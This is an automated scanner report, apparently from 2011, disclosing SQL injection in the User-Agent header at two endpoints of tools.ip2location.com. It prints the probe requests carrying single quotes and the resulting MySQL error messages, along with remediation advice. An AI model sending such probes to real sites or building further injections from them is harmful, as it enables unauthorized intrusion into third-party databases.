SQL Injection, DORK, USER Agent HTTP Header, CWE-89, CAPEC-66, tools.ip2location.com

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by XSS.CX at Sun Mar 20 20:48:11 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. SQL injection

1.1. http://tools.ip2location.com/ib1 [User-Agent HTTP header]

1.2. http://tools.ip2location.com/ib2 [User-Agent HTTP header]



1. SQL injection
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://tools.ip2location.com/ib1 [User-Agent HTTP header]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tools.ip2location.com
Path:   /ib1

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ib1 HTTP/1.1
Host: tools.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16'
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1742
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Mon, 21 Mar 2011 01:38:50 GMT

<html>
<title>IP2Location Information Box 1</title>
<head>
<meta content="IP2Location&trade; Free Product Demo, Free Webmaster Tools, Sample Databases and Web Services for Programmers, Webmasters a
...[SNIP]...
</html>
ERROR [42000] [MySQL][ODBC 5.1 Driver][mysqld-5.1.31-community-log]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like' at line 1

Request 2

GET /ib1 HTTP/1.1
Host: tools.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16''
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1449
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Mon, 21 Mar 2011 01:38:51 GMT

<html>
<title>IP2Location Information Box 1</title>
<head>
<meta content="IP2Location&trade; Free Product Demo, Free Webmaster Tools, Sample Databases and Web Services for Programmers, Webmasters a
...[SNIP]...

1.2. http://tools.ip2location.com/ib2 [User-Agent HTTP header]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://tools.ip2location.com
Path:   /ib2

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ib2 HTTP/1.1
Host: tools.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16'
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1709
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Mon, 21 Mar 2011 01:38:50 GMT

<html>
<head>
<title>IP2Location Information Box 2</title>
<meta content="IP2Location&trade; Free Product Demo, Free Webmaster Tools, Sample Databases and Web Services for Programmers, Webmasters a
...[SNIP]...
</html>
ERROR [42000] [MySQL][ODBC 5.1 Driver][mysqld-5.1.31-community-log]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like' at line 1

Request 2

GET /ib2 HTTP/1.1
Host: tools.ip2location.com
Proxy-Connection: keep-alive
Referer: http://www.ip2location.com/demo.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16''
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1416
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Mon, 21 Mar 2011 01:38:51 GMT

<html>
<head>
<title>IP2Location Information Box 2</title>
<meta content="IP2Location&trade; Free Product Demo, Free Webmaster Tools, Sample Databases and Web Services for Programmers, Webmasters a
...[SNIP]...

Report generated by XSS.CX at Sun Mar 20 20:48:11 CDT 2011.